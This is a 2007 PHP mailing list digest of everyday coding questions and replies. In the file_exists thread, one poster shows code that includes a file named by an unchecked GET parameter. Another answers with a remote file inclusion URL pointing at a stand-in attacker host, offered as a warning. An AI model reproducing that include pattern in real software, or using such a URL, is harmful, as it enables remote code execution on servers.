php-general Digest 15 Nov 2007 07:46:19 -0000 Issue 5129
Topics (messages 264517 through 264549):
Re: Sending Pictures to Cell Phones
264517 by: Philip Thompson
264520 by: Bastien Koert
Re: PHP Developers and the manual
264518 by: Philip Thompson
264519 by: Daniel Brown
264540 by: tedd
264543 by: Robert Cummings
Re: Newbie question - current date - time
264521 by: Jon Westcot
264522 by: Daniel Brown
264523 by: Jason Pruim
264524 by: Daniel Brown
264525 by: Jürgen Wind
264539 by: Instruct ICC
264541 by: tedd
Is there a 'Beginner's' PHP List
264526 by: cool7.hosting4days.com
264527 by: Daniel Brown
264529 by: Philip Thompson
264532 by: Chris
264542 by: Instruct ICC
Re: file_exists
264528 by: Chris
264530 by: Philip Thompson
264531 by: Warren Vail
264533 by: Stut
264544 by: Instruct ICC
264545 by: Ronald Wiplinger
264547 by: William Betts
Generating sequence of AlphaNumber
264534 by: Jeffery Fernandez
264535 by: Casey
264536 by: Stephen Edberg
264537 by: Jeffery Fernandez
Re: functions versus includes
264538 by: Frank Lopes
Re: CLI spinner processing
264546 by: Daevid Vincent
Re: file_exists - this part is of topic
264548 by: Ronald Wiplinger
How does the PHP website colorize the code snippets?
264549 by: Daevid Vincent
Administrivia:
To subscribe to the digest, e-mail:
[EMAIL PROTECTED]
To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]
To post to the list, e-mail:
[EMAIL PROTECTED]
----------------------------------------------------------------------
--- Begin Message ---
On Nov 14, 2007 12:27 PM, <[EMAIL PROTECTED]> wrote:
> Hey list,
>
> I'm doing some R&D for a project at my job and my boss wants the ability
> to send pictures to cell phones. I was wondering if anyone had any
> experience with this or could point me in the right direction to get
> started.
>
> Thanks,
> Jeremy
I haven't tested it, but you could try sending an HTML email with the
picture included as the message.
<?php
$to = '[EMAIL PROTECTED]';
$subject = 'Some Subject';
$message = '/path/to/image.png';
// Used for HTML email... php.net/mail
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
mail ($to, $subject, $message, $headers);
?>
Maybe try that. You might also try changing the Content-type to image/png
(or whatever type) if the text/html doesn't work. Again, not tested, but it
may work.
HTH
~Philip
--- End Message ---
--- Begin Message ---
What is the actual planned implemtation? Email or SMS/MMS?
if the latter, you are looking for MMS specs (send XML SMS to phone with media)
Try http://hellkvist.org/software/ for code samples
HTH
Bastien
> Date: Wed, 14 Nov 2007 13:45:05 -0600> From: [EMAIL PROTECTED]> To: [EMAIL
> PROTECTED]> Subject: Re: [PHP] Sending Pictures to Cell Phones> > On Nov 14,
> 2007 12:27 PM, <[EMAIL PROTECTED]> wrote:> > > Hey list,> >> > I'm doing some
> R&D for a project at my job and my boss wants the ability> > to send pictures
> to cell phones. I was wondering if anyone had any> > experience with this or
> could point me in the right direction to get> > started.> >> > Thanks,> >
> Jeremy> > > I haven't tested it, but you could try sending an HTML email with
> the> picture included as the message.> > <?php> $to = '[EMAIL PROTECTED]';>
> $subject = 'Some Subject';> $message = '/path/to/image.png';> // Used for
> HTML email... php.net/mail> $headers = 'MIME-Version: 1.0' . "\r\n";>
> $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";> mail
> ($to, $subject, $message, $headers);> ?>> > Maybe try that. You might also
> try changing the Content-type to image/png> (or whatever type) if the
> text/html doesn't work. Again, not tested, but it> may work.> > HTH> ~Philip
_________________________________________________________________
Express yourself with free Messenger emoticons. Get them today!
http://www.freemessengeremoticons.ca/?icid=EMENCA122
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 1:04 PM, Daniel Brown <[EMAIL PROTECTED]> wrote:
> On Nov 14, 2007 2:00 PM, Robert Cummings <[EMAIL PROTECTED]> wrote:
> > On Wed, 2007-11-14 at 13:36 -0500, Daniel Brown wrote:
> > > On Nov 14, 2007 12:55 PM, Robert Cummings <[EMAIL PROTECTED]>
> > > wrote:
> > > > > Hey, no worries. You'll be able to officially thank the
> community
> > > > > when we go to the new mandatory donation system on the list on 1
> > > > > January, 2008. Watch for strange charges to your PayPal account,
> et
> > > > > cetera, with the subject "foreach($question as $head => $wall)" or
> > > > > "HTML Lessons". Coincidentally, that's the same date that Robert
> > > > > Cummings' gift link turns into an ultimatum that will teach those
> who
> > > > > don't click of their own mortality.
> > > >
> > > > Gift link??
> > > >
> >
> > > Well, if I remember correctly, the wording was:
> > > "Some people have a gift link here. Know what I want? I want you to
> > > buy a CD from some indie artist. Yeah, I get a buck. So what?"
> > >
> > > Something to that effect, anyway.
> >
> > You're confusing me with Richard Lynch :)
> >
> >
> > Cheers,
> > Rob.
> > --
> >
>
> Bah, you're right. You guys all look alike to me on this monitor.
I know I can't be the only one that puts/creates a face for each person on
this list... =P
~Philip
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 2:54 PM, Philip Thompson <[EMAIL PROTECTED]> wrote:
> I know I can't be the only one that puts/creates a face for each person on
> this list... =P
You don't have to with me, Philip. Since you use Gmail, simply
mouseover my name and you'll see my ugly mug staring right back at
you.
--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107
If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.
--- End Message ---
--- Begin Message ---
At 1:54 PM -0600 11/14/07, Philip Thompson wrote:
I know I can't be the only one that puts/creates a face for each person on
this list... =P
No, but I'm the best looking one. I'll leave smart for someone else.
Cheers,
tedd
--
-------
http://sperling.com http://ancientstones.com http://earthstones.com
--- End Message ---
--- Begin Message ---
On Wed, 2007-11-14 at 22:23 -0500, tedd wrote:
> At 1:54 PM -0600 11/14/07, Philip Thompson wrote:
> >I know I can't be the only one that puts/creates a face for each person on
> >this list... =P
>
> No, but I'm the best looking one. I'll leave smart for someone else.
Are you trying to be smart with us?? I see through your double talk!
;)
Cheers,
Rob.
--
...........................................................
SwarmBuy.com - http://www.swarmbuy.com
Leveraging the buying power of the masses!
...........................................................
--- End Message ---
--- Begin Message ---
Hi:
> > Hi Folks,
> >
> > Newbie question :
> >
> > - how do I get and display the current date?
> > - how do I get and display the current time?
> >
> > I see the getdate function - but I'm not sure if this is the right
> > function
> > or how to display it....
> >
> > http://www.php.net/manual/en/function.getdate.php
>
> Give this a shot:
>
> $Date = date("y/m/d h:m:i");
> echo $Date;
>
> You can format it how ever you want. Lots of different options. Check
> out: HTTP://www.php.net/date for lots more info.
Um, not to pick nits, and being a newbie myself I'm really risking a lot
here by potentially exposing my ignorance, but was the purpose of the code
above to get the user to read the manual section? It sure worked for me
when I saw the output of the date command and couldn't believe that the
process I was running completed in just six seconds. It all boiled down to
changing (dare I say correcting?) "h:m:i" to "h:i:s" -- the "m" in question
related to the month in the date, not minutes in the time.
And thanks to everyone for being so willing to help and generous with
their time. I really appreciate it!
Jon
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 3:19 PM, Jon Westcot <[EMAIL PROTECTED]> wrote:
> Hi:
>
> > > Hi Folks,
> > >
> > > Newbie question :
> > >
> > > - how do I get and display the current date?
> > > - how do I get and display the current time?
> > >
> > > I see the getdate function - but I'm not sure if this is the right
> > > function
> > > or how to display it....
> > >
> > > http://www.php.net/manual/en/function.getdate.php
> >
> > Give this a shot:
> >
> > $Date = date("y/m/d h:m:i");
> > echo $Date;
> >
> > You can format it how ever you want. Lots of different options. Check
> > out: HTTP://www.php.net/date for lots more info.
>
> Um, not to pick nits, and being a newbie myself I'm really risking a lot
> here by potentially exposing my ignorance, but was the purpose of the code
> above to get the user to read the manual section? It sure worked for me
> when I saw the output of the date command and couldn't believe that the
> process I was running completed in just six seconds. It all boiled down to
> changing (dare I say correcting?) "h:m:i" to "h:i:s" -- the "m" in question
> related to the month in the date, not minutes in the time.
>
> And thanks to everyone for being so willing to help and generous with
> their time. I really appreciate it!
>
> Jon
Ha! No, it was just a typo on Jason's part.
Funny stuff though....
--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107
If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.
--- End Message ---
--- Begin Message ---
On Nov 14, 2007, at 3:39 PM, Daniel Brown wrote:
On Nov 14, 2007 3:19 PM, Jon Westcot <[EMAIL PROTECTED]> wrote:
Hi:
Hi Folks,
Newbie question :
- how do I get and display the current date?
- how do I get and display the current time?
I see the getdate function - but I'm not sure if this is the right
function
or how to display it....
http://www.php.net/manual/en/function.getdate.php
Give this a shot:
$Date = date("y/m/d h:m:i");
echo $Date;
You can format it how ever you want. Lots of different options.
Check
out: HTTP://www.php.net/date for lots more info.
Um, not to pick nits, and being a newbie myself I'm really
risking a lot
here by potentially exposing my ignorance, but was the purpose of
the code
above to get the user to read the manual section? It sure worked
for me
when I saw the output of the date command and couldn't believe that
the
process I was running completed in just six seconds. It all boiled
down to
changing (dare I say correcting?) "h:m:i" to "h:i:s" -- the "m" in
question
related to the month in the date, not minutes in the time.
And thanks to everyone for being so willing to help and generous
with
their time. I really appreciate it!
Jon
Ha! No, it was just a typo on Jason's part.
Funny stuff though....
Now... Just exactly what makes you think it was a typo oh Master
Brown? I could have intentionally put that in there just as Jon
suggested to get the OP to read the web page since it wouldn't output
what they expected. I have been known to be crafty like that in the
past :)
In this particular case it was a simple matter of a quick typing in an
e-mail program and a faulty memory I would claim a "Senior Moment" but
I dare say that most everyone on this list is older then me. Being
born in raised in the decade of the "Hair Bands" and all :)
(Is it time to go home yet?)
--
Jason Pruim
Raoset Inc.
Technology Manager
MQC Specialist
3251 132nd ave
Holland, MI, 49424
www.raoset.com
[EMAIL PROTECTED]
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 3:54 PM, Jason Pruim <[EMAIL PROTECTED]> wrote:
[snip]
> Now... Just exactly what makes you think it was a typo oh Master
> Brown?
[snip]
Yeah, keep it up, smartass. I'm on to you.... ;-P
--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107
If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.
--- End Message ---
--- Begin Message ---
better use Date() in js ...
tedd-2 wrote:
>
> Current date/time for whom?
>
> For your server, use php's date().
>
> For the user, use javascript's date().
>
> It's so cool to be multilingual. :-)
>
> Cheers,
>
> tedd
>
> --
> -------
> http://sperling.com http://ancientstones.com http://earthstones.com
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>
>
--
View this message in context:
http://www.nabble.com/Newbie-question---current-date---time-tf4806896.html#a13756627
Sent from the PHP - General mailing list archive at Nabble.com.
--- End Message ---
--- Begin Message ---
> Date: Wed, 14 Nov 2007 09:39:19 -0800
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> Subject: [PHP] Newbie question - current date - time
>
> Hi Folks,
>
> Newbie question :
>
> - how do I get and display the current date?
> - how do I get and display the current time?
>
> I see the getdate function - but I'm not sure if this is the right function
> or how to display it....
>
> http://www.php.net/manual/en/function.getdate.php
>
> --
> Thanks - RevDave
> Cool @ hosting4days . com
> [db-lists]
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
You know? I was going to chime in and blast the guy who posted "PHP Developers
and the manual", who I think intimidated the next guy who asked if there is a
newbie forum.
But dude, there are many ways to skin a cat. You posted 1 method and if you
read that link and scrolled down, you would see comments by users with actual
code and their experiences with this function. If their comments were not
applicable, you could return to the "See Also" area mentioning date() and
time().
For my first PHP job, I told my prospective employer that I didn't have any
on-the-job experience with PHP, (but had other languages practiced and
certified professionally), and if I would have access to the php.net website, I
would have all I needed. That was 5 years ago and I only subscribed to this
general list a few months ago when my admin couldn't explain why my working
code stopped working (and he claimed he didn't make any change, but it turns
out he had). However, I was on the PHP-DB list that first year.
Enough about me. I never thought I'd say this in earnest...
RTFM
Have I become like who I've despised?
_________________________________________________________________
Climb to the top of the charts! Play Star Shuffle: the word scramble
challenge with star power.
http://club.live.com/star_shuffle.aspx?icid=starshuffle_wlmailtextlink_oct
--- End Message ---
--- Begin Message ---
At 7:00 PM -0800 11/14/07, Instruct ICC wrote:
But dude, there are many ways to skin a cat.
Yeah, but he's not going to like any of them. :-)
Cheers,
tedd
--
-------
http://sperling.com http://ancientstones.com http://earthstones.com
--- End Message ---
--- Begin Message ---
Come to think of it - if there is a more basic 'newbie' forum list (for PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for these 'basic' questions...
Until I get up to speed...
I found these 2 - any others (better)?
http://p2p.wrox.com/forum.asp?FORUM_ID=89
http://phpbuilder.com/board/forumdisplay.php?f=3
Others ... ?
--
Thanks - RevDave
Cool7 @ hosting4days . com
[db-lists]
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 4:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote:
> Come to think of it - if there is a more basic 'newbie' forum list (for PHP
> beginners like myself) that anyone knows of (I found a few listed below) -
> please let me know and I'll use that instead for these 'basic' questions...
> Until I get up to speed...
>
> I found these 2 - any others (better)?
>
> http://p2p.wrox.com/forum.asp?FORUM_ID=89
>
> http://phpbuilder.com/board/forumdisplay.php?f=3
>
> Others ... ?
>
> --
> Thanks - RevDave
> Cool7 @ hosting4days . com
> [db-lists]
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
>
I whole-heartedly recommend and endorse the PHPBuilder website and
community (http://www.phpbuilder.com/). They have a newbie-focused
area in their forum that is pretty active, they keep up on trends and
the official stuff that happens over here and on the PHP-DEV side, and
even have information useful to old hacks like myself.
I'm sure I'm not the only one who goes through every-so-often to
brush up on the fundamentals and see how things have changed as the
language has evolved. And in my opinion, the PHPBuilder site's staff
and veteran community members do a pretty good job of helping to teach
proper coding habits.
Now I feel like I should get paid for saying that, but it's true.
It's an excellent resource.
--
Daniel P. Brown
[office] (570-) 587-7080 Ext. 272
[mobile] (570-) 766-8107
If at first you don't succeed, stick to what you know best so that you
can make enough money to pay someone else to do it for you.
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]>
wrote:
> Come to think of it - if there is a more basic 'newbie' forum list (for
> PHP
> beginners like myself) that anyone knows of (I found a few listed below) -
> please let me know and I'll use that instead for these 'basic'
> questions...
> Until I get up to speed...
>
> I found these 2 - any others (better)?
>
> http://p2p.wrox.com/forum.asp?FORUM_ID=89
>
> http://phpbuilder.com/board/forumdisplay.php?f=3
>
> Others ... ?
I think this list is a great place to *learn.* Look at it this way.... if
you don't understand what someone is saying, do a little research on your
own to figure it out. God knows I've learned so much by reading a little
here.... and then reading a lot elsewhere (docs, other websites, etc) to
learn even more.
Don't be afraid to ask *newbie* questions. The way I view it (I'm not sure
if others agree)... as long as you are doing your part to learn what needs
to be done, then the community will also be willing to pitch in. So,
prefacing your emails with "I've dug around for a long time and here's what
I've found.... (list some stuff).... but I can't figure it out - any help?"
goes a long way because we see you really want to help yourself.
I'm not discouraging going elsewhere (in fact, I encourage using multiple
resources), but I am merely reaffirming this list. (Wow, now I sound like
Dan - no, I did not get paid either. Ha!)
HTH
~Philip
--- End Message ---
--- Begin Message ---
Philip Thompson wrote:
On Nov 14, 2007 3:20 PM, [EMAIL PROTECTED] <[EMAIL PROTECTED]>
wrote:
Come to think of it - if there is a more basic 'newbie' forum list (for
PHP
beginners like myself) that anyone knows of (I found a few listed below) -
please let me know and I'll use that instead for these 'basic'
questions...
Until I get up to speed...
I found these 2 - any others (better)?
http://p2p.wrox.com/forum.asp?FORUM_ID=89
http://phpbuilder.com/board/forumdisplay.php?f=3
Others ... ?
I think this list is a great place to *learn.* Look at it this way.... if
you don't understand what someone is saying, do a little research on your
own to figure it out. God knows I've learned so much by reading a little
here.... and then reading a lot elsewhere (docs, other websites, etc) to
learn even more.
Don't be afraid to ask *newbie* questions. The way I view it (I'm not sure
if others agree)... as long as you are doing your part to learn what needs
to be done, then the community will also be willing to pitch in. So,
prefacing your emails with "I've dug around for a long time and here's what
I've found.... (list some stuff).... but I can't figure it out - any help?"
goes a long way because we see you really want to help yourself.
... and don't take offence at "RTFM" type responses. php has a lot of
functionality so sometimes it's going to be a case of "oh i didn't know
it had that, thanks". Plus the examples/comments will give good insight
into a particular function and how you could use it :)
--
Postgresql & php tutorials
http://www.designmagick.com/
--- End Message ---
--- Begin Message ---
> Date: Wed, 14 Nov 2007 13:20:16 -0800
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> Subject: [PHP] Is there a 'Beginner's' PHP List
>
> Come to think of it - if there is a more basic 'newbie' forum list (for PHP
> beginners like myself) that anyone knows of (I found a few listed below) -
> please let me know and I'll use that instead for these 'basic' questions...
> Until I get up to speed...
>
> I found these 2 - any others (better)?
>
> http://p2p.wrox.com/forum.asp?FORUM_ID=89
>
> http://phpbuilder.com/board/forumdisplay.php?f=3
>
> Others ... ?
>
> --
> Thanks - RevDave
> Cool7 @ hosting4days . com
> [db-lists]
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
Wow. Turns out _you_ are the guy I thought the "PHP Developers and the manual"
poster intimidated.
I'm going to have to move this to gmail to keep it threaded better.
You have enough resources, you just need to use them.
Personally, I'd post wherever I thought they should know the answer. I never
posted at php.net, but that is also an option.
_________________________________________________________________
Help yourself to FREE treats served up daily at the Messenger Café. Stop by
today.
http://www.cafemessenger.com/info/info_sweetstuff2.html?ocid=TXT_TAGLM_OctWLtagline
--- End Message ---
--- Begin Message ---
Ronald Wiplinger wrote:
Chris wrote:
Ronald Wiplinger wrote:
I am having troubles with the function file_exists()
I tried the full path like:
if (file_exists('/srv/www/....../images/pic412.jpg') {
echo "<IMG SRC='images/pic412.jpg'>";
} else {
echo " " // picture is missing!
}
No matter if I use the full path or just images/pic412.jpg, it always
shows the picture is missing!
Sorry, I expressed it wrong.
The picture is displayed if it exists!
However, when the picture does not exist, then the missing file is not
recognized (hence the subject line "file_exists")
Are you 100% sure you are looking for the file in the right place then?
--
Postgresql & php tutorials
http://www.designmagick.com/
--- End Message ---
--- Begin Message ---
On Nov 14, 2007 5:04 PM, Chris <[EMAIL PROTECTED]> wrote:
> Ronald Wiplinger wrote:
> > Chris wrote:
> >> Ronald Wiplinger wrote:
> >>> I am having troubles with the function file_exists()
> >>>
> >>> I tried the full path like:
> >>>
> >>> if (file_exists('/srv/www/....../images/pic412.jpg') {
> >>> echo "<IMG SRC='images/pic412.jpg'>";
> >>> } else {
> >>> echo " " // picture is missing!
> >>> }
> >>>
> >>> No matter if I use the full path or just images/pic412.jpg, it always
> >>> shows the picture is missing!
> >
> > Sorry, I expressed it wrong.
> >
> > The picture is displayed if it exists!
> > However, when the picture does not exist, then the missing file is not
> > recognized (hence the subject line "file_exists")
>
> Are you 100% sure you are looking for the file in the right place then?
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example....
<?php // index.php?page=hello/hi
$page = $_GET['page'];
if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
Notice that 'hello/hi.php' is being included from within index.php. So,
references to images in 'hello/hi.php' will be the same as if called
directly from index.php (if the images are in /images/ and index.php is in
/):
<?php
// Correct: in /index.php AND in /hello/hi.php
$anImage = 'images/anImage.jpg';
// or
$anImage = '/images/anImage.jpg';
// Incorrect: /hello/hi.php
$anImage = 'images/anImage.jpg';
// By doing it this way, you're assuming the
// image is in /hello/images and not /images
?>
Ok, hope I didn't confuse things! Just something to consider.
~Philip
--- End Message ---
--- Begin Message ---
> >>> if (file_exists('/srv/www/....../images/pic412.jpg') {
Two left parens, one right, surprised you don't get a syntax error?
Warren Vail
--- End Message ---
--- Begin Message ---
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example....
<?php // index.php?page=hello/hi
$page = $_GET['page'];
if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
I really hope this is not a piece of production code. If it is then you
might want to think very hard about what it's doing. If you still can't
see a problem let me know!
-Stut
--
http://stut.net/
--- End Message ---
--- Begin Message ---
> Date: Thu, 15 Nov 2007 00:20:52 +0000
> From: [EMAIL PROTECTED]
> To: [EMAIL PROTECTED]
> CC: [EMAIL PROTECTED]
> Subject: Re: [PHP] file_exists
>
> Philip Thompson wrote:
>> I've run into similar problems where I *thought* I was looking in the
>> correct location... but I wasn't. Take this for example....
>>
>> > $page = $_GET['page'];
>> if (file_exists ("$page.php")) {
>> include ("$page.php");
>> }
>> ?>
>
> I really hope this is not a piece of production code. If it is then you
> might want to think very hard about what it's doing. If you still can't
> see a problem let me know!
>
> -Stut
>
> --
> http://stut.net/
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>
Called like this?
index.php?page=http://evil-hacker-site.com/evil-payload.php
And the browser will probably url_encode for me if needed.
_________________________________________________________________
Climb to the top of the charts! Play Star Shuffle: the word scramble
challenge with star power.
http://club.live.com/star_shuffle.aspx?icid=starshuffle_wlmailtextlink_oct
--- End Message ---
--- Begin Message ---
Stut wrote:
> Philip Thompson wrote:
>> I've run into similar problems where I *thought* I was looking in the
>> correct location... but I wasn't. Take this for example....
>>
>> <?php // index.php?page=hello/hi
>> $page = $_GET['page'];
>> if (file_exists ("$page.php")) {
>> include ("$page.php");
>> }
>> ?>
>
> I really hope this is not a piece of production code. If it is then
> you might want to think very hard about what it's doing. If you still
> can't see a problem let me know!
Ok, I let you know! I don't see it!
I tried the full path like:
if (file_exists('/srv/www/xxxx/dddd/htdocs/images/pic412.jpg')) {
echo "<IMG SRC='images/pic412.jpg'>";
} else {
echo " " // display space to make a table happy
if picture is missing!
}
I also tried it with that line:
if (file_exists('/images/pic412.jpg')) {
or that line:
if (file_exists('images/pic412.jpg')) {
Basically I just want to avoid to show a "missing picture" ! If there is
another solution for that problem I am happy too.
bye
Ronald
--- End Message ---
--- Begin Message ---
Ronald Wiplinger wrote:
Stut wrote:
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example....
<?php // index.php?page=hello/hi
$page = $_GET['page'];
if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
I really hope this is not a piece of production code. If it is then
you might want to think very hard about what it's doing. If you still
can't see a problem let me know!
Ok, I let you know! I don't see it!
I tried the full path like:
if (file_exists('/srv/www/xxxx/dddd/htdocs/images/pic412.jpg')) {
echo "<IMG SRC='images/pic412.jpg'>";
} else {
echo " " // display space to make a table happy
if picture is missing!
}
I also tried it with that line:
if (file_exists('/images/pic412.jpg')) {
or that line:
if (file_exists('images/pic412.jpg')) {
Basically I just want to avoid to show a "missing picture" ! If there is
another solution for that problem I am happy too.
bye
Ronald
I believe Stut was referring to the RFI vulnerability in that example
not your ability to see the problem. Go to the web page that you're
having the issue with and look at the page source
from the browser. Find the img tag and see what is src="" and try to
goto that file in your browser. Also can you use a pastebin and post
your code and give his the url to the site in
question?
William Betts
--- End Message ---
--- Begin Message ---
Hi all,
I am having trouble generating a sequence of numbers from the following start
value:
AX0001
what I have done so far is loop through each character and check if its a
alphabet and separating the characters and digits.
But when I increment the digits, its strips of the leading zeros. How can I
get a sequence of values like:
AX0001
AX0002
AX0003
AX0004
.....
AX0099
AX0100
and so on ?
jeffery
--
Internet Vision Technologies
Level 1, 520 Dorset Road
Croydon
Victoria - 3136
Australia
web: http://www.ivt.com.au
phone: +61 3 9723 9399
fax: +61 3 9723 4899
--- End Message ---
--- Begin Message ---
Try sprintf().
On Nov 14, 2007, at 4:32 PM, Jeffery Fernandez <[EMAIL PROTECTED]>
wrote:
Hi all,
I am having trouble generating a sequence of numbers from the
following start
value:
AX0001
what I have done so far is loop through each character and check if
its a
alphabet and separating the characters and digits.
But when I increment the digits, its strips of the leading zeros.
How can I
get a sequence of values like:
AX0001
AX0002
AX0003
AX0004
.....
AX0099
AX0100
and so on ?
jeffery
--
Internet Vision Technologies
Level 1, 520 Dorset Road
Croydon
Victoria - 3136
Australia
web: http://www.ivt.com.au
phone: +61 3 9723 9399
fax: +61 3 9723 4899
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
--- End Message ---
--- Begin Message ---
On Thu, 15 Nov 2007, Jeffery Fernandez wrote:
> Hi all,
>
> I am having trouble generating a sequence of numbers from the following start
> value:
> AX0001
>
> what I have done so far is loop through each character and check if its a
> alphabet and separating the characters and digits.
>
> But when I increment the digits, its strips of the leading zeros. How can I
> get a sequence of values like:
>
> AX0001
> AX0002
> AX0003
> AX0004
> .....
> AX0099
> AX0100
>
> and so on ?
>
> jeffery
> --
Probably the easiest way is sprintf(); for example,
sprintf('%04.0d', 34) returns 0034
See
http://www.php.net/sprintf
...........................................................
. Steve Edberg [EMAIL PROTECTED] .
. Computer Consultant University of California, Davis .
. (530)754-9127 .
...........................................................
--- End Message ---
--- Begin Message ---
On Thu, 15 Nov 2007 11:48:07 am Stephen Edberg wrote:
> On Thu, 15 Nov 2007, Jeffery Fernandez wrote:
> > Hi all,
> >
> > I am having trouble generating a sequence of numbers from the following
> > start value:
> > AX0001
> >
> > what I have done so far is loop through each character and check if its a
> > alphabet and separating the characters and digits.
> >
> > But when I increment the digits, its strips of the leading zeros. How can
> > I get a sequence of values like:
> >
> > AX0001
> > AX0002
> > AX0003
> > AX0004
> > .....
> > AX0099
> > AX0100
> >
> > and so on ?
> >
> > jeffery
> > --
>
> Probably the easiest way is sprintf(); for example,
>
> sprintf('%04.0d', 34) returns 0034
Thanks mate, that works like a charm. :)
cheers,
Jeffery
>
> See
>
> http://www.php.net/sprintf
>
> ...........................................................
> . Steve Edberg [EMAIL PROTECTED] .
> . Computer Consultant University of California, Davis .
> . (530)754-9127 .
> ...........................................................
--
Internet Vision Technologies
Level 1, 520 Dorset Road
Croydon
Victoria - 3136
Australia
web: http://www.ivt.com.au
phone: +61 3 9723 9399
fax: +61 3 9723 4899
--- End Message ---
--- Begin Message ---
<<The question is not one of performance since while it will be quicker to
call a function than include a file the difference is going to be
inconsequential.>>
Stut,
You pointed me in the right direction, thank you.
"Stut" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
Frank Lopes wrote:
No takers on this topic?
The question is not one of performance since while it will be quicker to
call a function than include a file the difference is going to be
inconsequential.
If you were to use a function where would you put it? You imply it needs
to be used from multiple scripts, so it would need to be in an included
file anyway which makes the question kinda pointless.
Whether to use a function should then be based on how you need to use this
"block of text". Will it be used more than once in any given script? If
yes then you want a function so you only need to include the file once. If
not then it really doesn't matter whether you use a function in the
external file.
When you're thinking about possible performance issues there are two
things you need to ensure...
1) You're not spending time optimising the wrong bit (this would be an
example of that). You can check that by writing a quick performance test
as someone did later in this thread. 90% of the time you'll find that the
performance difference between two options is negligible.
2) The architecture and maintainability of your code is more important
than most performance issues you can imagine.
Performance optimisation should be driven by performance problems. Write
your app, test it, find bottlenecks and then optimise those. Time spent
saving 0.001 seconds per request is better spent elsewhere.
-Stut
--
http://stut.net/
""Frank Lopes"" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
I just started using PHP and got to think...
Without getting into the discussion of "best practices", strictly from
a performance perspective,
what is faster: a function or an include?
For example I have a block of text that needs to appear mutliple times
throughout the site.
Will I be better off creating a function with its contents and then
later just calling the function or,
will it be faster (from an execution perspective) for me to create an
.inc file that gets included later on?
Thanks for the your thoughts.
--- End Message ---
--- Begin Message ---
> -----Original Message-----
> From: Per Jessen [mailto:[EMAIL PROTECTED]
> Sent: Wednesday, November 14, 2007 1:08 AM
>
> Daevid Vincent wrote:
>
> > I am importing millions of records, and didn't want to
> waste CPU time on computing modulus on some huge $i value. :)
>
> So instead you spend it on displaying a progress indicator :-)
HA!
Actually yes. But allow me to retort my whimsical friend who is so quick to
sneer. ;-p
Because I wanted some way to know that each of the millions of records was
being imported. A "progress indicator" if you will. One that quickly
illustrates that "yes, something is still churning away, even though it might
be taking minutes, hours or *gasp* days to process".
I didn't want to print out a single "." for each one, as that still just takes
up pages and pages of scrolling as they whiz by.
I didn't want to use the new record ID, as that takes up a wasted SQL call to
get LAST_INSERT_ID().
So a spinner was a likely candidate. It sits in place and rotates 1/8 turn for
each record inserted. As errors occur, I can spit them out where I'm sure to
see them (or log them to an error log) and they won't get lost in a maxed out
scroll-back buffer.
Plus it looks freakin' slick as hell and gives the appearance that I am smarter
than I am. *grin*
> besides, modulus 8 is done by one single instruction - of
> which a modern processor does some three billion per second.
Perhaps. But I prefer to write optimized code. I am used to it from when I used
to code 3D games, where every microsecond you can shave counts. Even now, as I
design LAMP tools, at the enterprise level, when you shave off a few
microseconds from each iteration, and multiply that times large datasets, you
quickly start to shave off seconds from every page load. It matters. I believe
that if MORE people thought this way, then there would be less bloated software.
How come it is that with all those three billion instructions per second I
*STILL* have to wait for ANYTHING to do ANYTHING? Seems to me it should be
instantaneous... Food for thought.
P.L.U.R. (nice domain name btw. :) )
D.Vin
http://daevid.com
--- End Message ---
--- Begin Message ---
Instruct ICC wrote:
>
>
> Called like this?
>
> index.php?page=http://evil-hacker-site.com/evil-payload.php
>
> And the browser will probably url_encode for me if needed.
> _________________________________________________________________
> Climb to the top of the charts! Play Star Shuffle: the word scramble
> challenge with star power.
> http://club.live.com/star_shuffle.aspx?icid=starshuffle_wlmailtextlink_oct
>
I do hope that some hackers will get a great jail sentence. Sometimes
the law takes a long time (see spamers get now also jailed).
I do not see any difference between a "Terrorist" sending people to
heaven with a bomb or by hacking or sending virus so that a company has
to lay off a lot of employees and so "kills" families over the time!
I had a bad experience!
20 years ago, when we had no Internet one of my employees brought a
floppy with a game to the office. The virus nested itself to the login
of the Novel network. First the virus played music with the internal
speakers. During that time you could not work. It was only once an hour!
Then the virus played 55 minutes per hour!!!!
